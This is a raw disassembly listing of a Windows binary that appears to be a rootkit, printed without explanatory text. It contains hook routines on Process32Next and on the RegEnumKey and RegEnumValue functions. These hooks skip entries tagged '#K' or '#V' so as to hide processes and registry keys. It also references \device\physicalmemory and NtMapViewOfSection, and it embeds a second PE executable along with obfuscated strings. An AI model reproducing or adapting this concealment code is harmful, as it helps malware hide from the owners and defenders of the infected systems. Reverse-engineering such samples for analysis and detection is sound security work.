		add	[esi], eax
		jmp	short loc_43B9D1
; ---------------------------------------------------------------------------


loc_43BA1A:				; CODE XREF: .data:0043BA05j
					; .data:0043BA14j
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_43B9B1
		jmp	short loc_43B9CF
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 0FFFFFFh
aProcess32next	db 'Process32Next',0    ; DATA XREF: .data:off_43BE94o
word_43BA36	dw 8360h		; DATA XREF: .data:off_43BE9Co
		dd 46A08C5h, 0B0BE855h,	0C0850B0Bh, 0EB610374h,	458B610Bh
		dd 1013D08h, 14740101h,	80808E8h, 1FF8108h, 74010101h
		dd 1013D07h, 5750101h, 20202E9h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[esp+8], edi
		mov	[esp+4], esi
		mov	[esp], ebx


loc_43BA7E:				; CODE XREF: .data:0043BACCj
		sub	esp, 8
		mov	ebx, [ebp+0Ch]
		mov	edi, [ebp+8]
		mov	[esp+4], ebx
		mov	[esp], edi
		call	near ptr 245BC95h
		test	eax, eax
		jz	short loc_43BACE
		pusha
		mov	eax, [ebx+8]
		push	50h
		sub	esp, 20h
		xor	ebx, ebx


loc_43BAA5:				; CODE XREF: .data:0043BAB8j
		bt	eax, ebx
		jb	short loc_43BAB0
		mov	byte ptr [esp+ebx], 30h
		jmp	short loc_43BAB4
; ---------------------------------------------------------------------------


loc_43BAB0:				; CODE XREF: .data:0043BAA8j
		mov	byte ptr [esp+ebx], 31h


loc_43BAB4:				; CODE XREF: .data:0043BAAEj
		inc	ebx
		cmp	ebx, 20h
		jnz	short loc_43BAA5
		push	esp
		call	near ptr 0C4FC6CCh
		add	esp, 24h
		test	ax, ax
		jnz	short loc_43BACB
		popa
		jmp	short loc_43BACE
; ---------------------------------------------------------------------------


loc_43BACB:				; CODE XREF: .data:0043BAC6j
		popa
		jmp	short loc_43BA7E
; ---------------------------------------------------------------------------


loc_43BACE:				; CODE XREF: .data:0043BA95j
					; .data:0043BAC9j
		mov	ebx, [esp]
		mov	esi, [esp+4]
		mov	edi, [esp+8]
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43BAF4:				; CODE XREF: .data:0043BB41j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BD07h
		test	eax, eax
		jnz	short loc_43BB43
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BB0F:				; CODE XREF: .data:0043BB15j
		cmp	byte ptr [ebx],	0
		jz	short loc_43BB17
		inc	ebx
		jmp	short loc_43BB0F
; ---------------------------------------------------------------------------


loc_43BB17:				; CODE XREF: .data:0043BB12j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC738h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BB3D
		popa
		jmp	short loc_43BB43
; ---------------------------------------------------------------------------


loc_43BB3D:				; CODE XREF: .data:0043BB38j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43BAF4
; ---------------------------------------------------------------------------


loc_43BB43:				; CODE XREF: .data:0043BB07j
					; .data:0043BB3Bj
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43BB5C:				; CODE XREF: .data:0043BBAFj
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BD6Fh
		test	eax, eax
		jnz	short loc_43BBB1
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BB77:				; CODE XREF: .data:0043BB7Fj
		cmp	word ptr [ebx],	0
		jz	short loc_43BB81
		inc	ebx
		inc	ebx
		jmp	short loc_43BB77
; ---------------------------------------------------------------------------


loc_43BB81:				; CODE XREF: .data:0043BB7Bj
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C8A6h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BBAB
		popa
		jmp	short loc_43BBB1
; ---------------------------------------------------------------------------


loc_43BBAB:				; CODE XREF: .data:0043BBA6j
		popa
		inc	dword ptr [ebp+0Ch]
		jmp	short loc_43BB5C
; ---------------------------------------------------------------------------


loc_43BBB1:				; CODE XREF: .data:0043BB6Fj
					; .data:0043BBA9j
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
dword_43BBB8	dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h		db 0
; ---------------------------------------------------------------------------


loc_43BBC9:				; DATA XREF: .data:0043BEFCo
		push	ebp
		mov	ebp, esp


loc_43BBCC:				; CODE XREF: .data:0043BC47j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BBDA
		push	dword ptr [eax]


loc_43BBDA:				; CODE XREF: .data:0043BBD6j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BDF9h
		test	eax, eax
		jnz	short loc_43BC49
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BC01:				; CODE XREF: .data:0043BC09j
		cmp	word ptr [ebx],	0
		jz	short loc_43BC0B
		inc	ebx
		inc	ebx
		jmp	short loc_43BC01
; ---------------------------------------------------------------------------


loc_43BC0B:				; CODE XREF: .data:0043BC05j
		mov	dword ptr [ebx], 4B0023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50C930h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BC35
		popa
		jmp	short loc_43BC49
; ---------------------------------------------------------------------------


loc_43BC35:				; CODE XREF: .data:0043BC30j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BC42
		pop	dword ptr [eax]


loc_43BC42:				; CODE XREF: .data:0043BC3Ej
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BBCC
; ---------------------------------------------------------------------------


loc_43BC49:				; CODE XREF: .data:0043BBF9j
					; .data:0043BC33j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43BC55
		add	esp, 4


loc_43BC55:				; CODE XREF: .data:0043BC50j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43BC70:				; CODE XREF: .data:0043BCE5j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BC7E
		push	dword ptr [eax]


loc_43BC7E:				; CODE XREF: .data:0043BC7Aj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BE9Dh
		test	eax, eax
		jnz	short loc_43BCE7
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BCA5:				; CODE XREF: .data:0043BCABj
		cmp	byte ptr [ebx],	0
		jz	short loc_43BCAD
		inc	ebx
		jmp	short loc_43BCA5
; ---------------------------------------------------------------------------


loc_43BCAD:				; CODE XREF: .data:0043BCA8j
		mov	word ptr [ebx],	4B23h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FC8CEh
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BCD3
		popa
		jmp	short loc_43BCE7
; ---------------------------------------------------------------------------


loc_43BCD3:				; CODE XREF: .data:0043BCCEj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		test	eax, eax
		jz	short loc_43BCE0
		pop	dword ptr [eax]


loc_43BCE0:				; CODE XREF: .data:0043BCDCj
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BC70
; ---------------------------------------------------------------------------


loc_43BCE7:				; CODE XREF: .data:0043BC9Dj
					; .data:0043BCD1j
		add	esp, 4
		cmp	dword ptr [ebp+20h], 0
		jz	short loc_43BCF3
		add	esp, 4


loc_43BCF3:				; CODE XREF: .data:0043BCEEj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
dword_43BCF8	dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h		db 65h,	57h, 0
; ---------------------------------------------------------------------------


loc_43BD0B:				; DATA XREF: .data:0043BF1Co
		push	ebp
		mov	ebp, esp


loc_43BD0E:				; CODE XREF: .data:0043BD89j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BD1C
		push	dword ptr [eax]


loc_43BD1C:				; CODE XREF: .data:0043BD18j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BF3Bh
		test	eax, eax
		jnz	short loc_43BD8B
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BD43:				; CODE XREF: .data:0043BD4Bj
		cmp	word ptr [ebx],	0
		jz	short loc_43BD4D
		inc	ebx
		inc	ebx
		jmp	short loc_43BD43
; ---------------------------------------------------------------------------


loc_43BD4D:				; CODE XREF: .data:0043BD47j
		mov	dword ptr [ebx], 560023h
		add	ebx, 4
		push	dword ptr [ebx]
		mov	dword ptr [ebx], 0
		push	ebx
		push	eax
		call	near ptr 0D50CA72h
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_43BD77
		popa
		jmp	short loc_43BD8B
; ---------------------------------------------------------------------------


loc_43BD77:				; CODE XREF: .data:0043BD72j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BD84
		pop	dword ptr [eax]


loc_43BD84:				; CODE XREF: .data:0043BD80j
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BD0E
; ---------------------------------------------------------------------------


loc_43BD8B:				; CODE XREF: .data:0043BD3Bj
					; .data:0043BD75j
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43BD97
		add	esp, 4


loc_43BD97:				; CODE XREF: .data:0043BD92j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_43BDB2:				; CODE XREF: .data:0043BE27j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BDC0
		push	dword ptr [eax]


loc_43BDC0:				; CODE XREF: .data:0043BDBCj
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 245BFDFh
		test	eax, eax
		jnz	short loc_43BE29
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_43BDE7:				; CODE XREF: .data:0043BDEDj
		cmp	byte ptr [ebx],	0
		jz	short loc_43BDEF
		inc	ebx
		jmp	short loc_43BDE7
; ---------------------------------------------------------------------------


loc_43BDEF:				; CODE XREF: .data:0043BDEAj
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4FCA10h
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_43BE15
		popa
		jmp	short loc_43BE29
; ---------------------------------------------------------------------------


loc_43BE15:				; CODE XREF: .data:0043BE10j
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_43BE22
		pop	dword ptr [eax]


loc_43BE22:				; CODE XREF: .data:0043BE1Ej
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_43BDB2
; ---------------------------------------------------------------------------


loc_43BE29:				; CODE XREF: .data:0043BDDFj
					; .data:0043BE13j
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_43BE35
		add	esp, 4


loc_43BE35:				; CODE XREF: .data:0043BE30j
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_402B12+44Do
					; .data:off_43BE98o
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_4022D1+Ao
					; .data:0043BEA8o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .data:0043BEF8o
					; .data:0043BF18o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
off_43BE94	dd offset aProcess32next ; DATA	XREF: sub_402B12+C5r
					; sub_402B12+F8r ...
					; "Process32Next"
off_43BE98	dd offset aKernel32_dll	; DATA XREF: sub_402B12+A6r
					; "kernel32.dll"
off_43BE9C	dd offset word_43BA36	; DATA XREF: sub_402936+1BAr
byte_43BEA0	db 0			; DATA XREF: sub_402B12+71r
					; sub_402B12+8Er
		align 4
		dd offset dword_43B958+4
		dd offset aNtdll_dll	; "ntdll.dll"
		dd offset loc_43B975
		dd 1, 43B8D5h, 43BE3Fh,	43B8E3h, 1, 43B854h, 43BE3Fh, 43B862h
		dd 2, 43BB4Dh, 43BE56h,	43BB59h, 1, 43BAE5h, 43BE56h, 43BAF1h
		dd 0
		dd offset dword_43BBB8+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43BBC9
		dd 1, 43BC5Fh, 43BE56h,	43BC6Dh, 0
		dd offset dword_43BCF8+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_43BD0B
		dd 1, 43BDA1h, 43BE56h,	43BDAFh, 5 dup(0)
		dd 7
dword_43BF48	dd 0Fh		dword_43BF4C	dd 0							; .text:loc_402270r ...
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_4022D1+1Bo
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4022D1+30o
aAxo		db 'AXo',0
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_4022D1+40o
a1e		db ' 1E',0
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_4022D1+50o
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_4022D1+60o
a_mip@		db '_mIP@',0
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_402355+B0o
aDevicePhysical:			; DATA XREF: sub_402355+1Fo
		unicode	0, <\device\physicalmemory>,0
word_43BFFA	dw 58h			; DATA XREF: sub_402355+15r
aZ9daw		db 'z9Daw',0            ; DATA XREF: sub_4024F3+34o
		align 4
dword_43C004	dd 8							; sub_403010+ECr
		dd 0Dh
dword_43C00C	dd 0							; .text:loc_4025BFr ...
aWcscmp		db 'wcscmp',0           ; DATA XREF: .data:off_43C09Co
aL8pjq		db 'l 8pjQ',0
aHtons		db 'htons',0
aP		db ':P',0
aVirtualprotect	db 'VirtualProtect',0
aGetcurrentproc	db 'GetCurrentProcessId',0
aFindwindowa	db 'FindWindowA',0
aSendmessagea	db 'SendMessageA',0
		db 'h',0
aIsbadreadptr	db 'IsBadReadPtr',0
aGlobalfindatom	db 'GlobalFindAtomA',0
aGlobalfindat_0	db 'GlobalFindAtomW',0
aPql		db '!*pQL',0
byte_43C098	db 3			; DATA XREF: sub_402639+91r
		align 4
off_43C09C	dd offset aWcscmp	; DATA XREF: sub_402639+108r
					; sub_402639+165r
					; "wcscmp"
off_43C0A0	dd offset aNtdll_dll	; DATA XREF: sub_402639+F5r
					; "ntdll.dll"
		dd 5, 43C01Eh, 43BE7Dh,	7, 43C027h, 43BE3Fh, 8,	43C036h
		dd 43BE3Fh, 9, 43C04Ah,	43BE89h, 0Ah, 43C056h, 43BE89h
		dd 0Bh,	43C065h, 43BE3Fh, 0Ch, 43C072h,	43BE3Fh, 0Dh, 43C082h
		dd 43BE3Fh
dword_43C104	dd 367F7F5Fh, 202B20hword_43C10C	dw 6Dh			; DATA XREF: sub_402639+13Ar
byte_43C10E	db 0			; DATA XREF: sub_402639+1C9o
a@?		db '@~?^',0             ; DATA XREF: sub_402936+144o
aINW		db 'I&n-*w',0           ; DATA XREF: sub_402936+15Eo
word_43C11B	dw 23h			; DATA XREF: sub_402936+1A5r
aR_0		db '`r_0',0             ; DATA XREF: sub_402B12+4Ao
aQyg6		db 'QYG6',0             ; DATA XREF: sub_402B12+20Ao
dword_43C127	dd 2C597Ah	byte_43C12B	db 0			; DATA XREF: sub_402B12+340o
byte_43C12C	db 0			; DATA XREF: sub_402B12+37Do
aH@d8u		db '#h<@D8u',0          ; DATA XREF: sub_402B12+3B1o
aMg6g_ox	db 'mƒ6g.oX',0          ; DATA XREF: sub_403010+CDo
dword_43C13D	dd 613547h	byte_43C141	db 2 dup(20h), 0	; DATA XREF: sub_403010+2C5o
dword_43C144	dd 674E7Ch	word_43C148	dw 58h			; DATA XREF: sub_403010+39Ar
		align 4
		dd 6, 0Bh
dword_43C154	dd 6							; sub_4033BC:loc_4033EAr ...
byte_43C158	db 20h,	5Fh, 0		; DATA XREF: sub_403453+14o
aVp		db '$',27h,'vp',0       ; DATA XREF: sub_403453+62o
aY@j?		db 'y@j?',0             ; DATA XREF: sub_403453+C6o
dword_43C165	dd 352067h	byte_43C169	db 0			; DATA XREF: sub_40352B+1Co
dword_43C16A	dd 7A5A26h			align 10h
		dd 0
dword_43C174	dd 0Fh		dword_43C178	dd 0							; sub_40364E:loc_40367Br ...
a4d_w		db '4D_w',0             ; DATA XREF: sub_4036DA+Fo
byte_43C181	db 0			; DATA XREF: sub_4036DA+1Fo
aMrie		db 'mrie',0             ; DATA XREF: sub_4036DA+9Fo
aE0ls		db 'E0LS',0             ; DATA XREF: sub_4037D7+1Co
aR		db ' r',0               ; DATA XREF: sub_4037D7+48o
		align 10h
		dd 4, 11h
dword_43C198	dd 0							; sub_40383E:loc_40386Cr ...
dword_43C19C	dd 7E6E58h	aQetMvo		db 'Qet<mvo',0          ; DATA XREF: .text:0040397Do
aDp		db 'Dp',0               ; DATA XREF: .text:00403A1Do
		align 4
		dd 3, 12h
dword_43C1B4	dd 0D0h							; sub_403A31:loc_403A57r ...
dword_43C1B8	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
a_text		db '.text',0
		align 4
		db '¼',7,0
		align 4
		dd 1000h, 7BCh,	400h, 3	dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
		dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
		dd 1024548Bh, 3B80289h,	0C3000000h

; =============== S U B	R O U T	I N E =======================================



sub_43C5D8	proc near		; CODE XREF: .data:0043C700p
					; .data:0043C72Ep

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43C5F5:				; CODE XREF: sub_43C5D8+44j
					; sub_43C5D8+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43C624
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43C624
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43C5F5
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43C5F5
; ---------------------------------------------------------------------------


loc_43C624:				; CODE XREF: sub_43C5D8+2Aj
					; sub_43C5D8+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43C5D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C632	proc near		; CODE XREF: .data:0043C6F3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_43CCCC
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43C632	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43C727
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43C685:				; CODE XREF: .data:0043C71Ej
		cmp	esi, 0FFFFFFFFh
		jz	loc_43C736
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43C715
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43C715
		js	short loc_43C723
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43C632
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43C5D8
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43C715:				; CODE XREF: .data:0043C696j
					; .data:0043C6EBj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43C685
; ---------------------------------------------------------------------------


loc_43C723:				; CODE XREF: .data:0043C6EDj
		xor	eax, eax
		jmp	short loc_43C740
; ---------------------------------------------------------------------------


loc_43C727:				; CODE XREF: .data:0043C66Aj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43C5D8
		add	esp, 0Ch


loc_43C736:				; CODE XREF: .data:0043C688j
		push	0Bh
		call	sub_43CD38
		add	esp, 4


loc_43C740:				; CODE XREF: .data:0043C725j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43C759
		call	sub_43C77C


loc_43C759:				; CODE XREF: .data:0043C752j
		call	sub_43CC2B
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0F2EB0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C77C	proc near		; CODE XREF: .data:0043C754p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_43CCF0
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_43CCF0
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_43CCF0
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_43CCE4
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_43CCE4
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_43CCE4
		add	esp, 30h
		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_43C7F5
		push	0
		push	edi
		call	sub_43CD44
		add	esp, 8


loc_43C7F5:				; CODE XREF: sub_43C77C+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_43C80F
		push	0
		push	edi
		call	sub_43CD44
		add	esp, 8
		call	sub_43C814


loc_43C80F:				; CODE XREF: sub_43C77C+81j
		pop	edi
		leave
		retn
sub_43C77C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C814	proc near		; CODE XREF: sub_43C77C+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_43CC60
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43C851
; ---------------------------------------------------------------------------


loc_43C830:				; CODE XREF: sub_43C814+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43C83D
		inc	[ebp+var_C]


loc_43C83D:				; CODE XREF: sub_43C814+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43C851:				; CODE XREF: sub_43C814+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43C830
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_43CD14
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43C884
		xor	eax, eax
		jmp	short loc_43C8FA
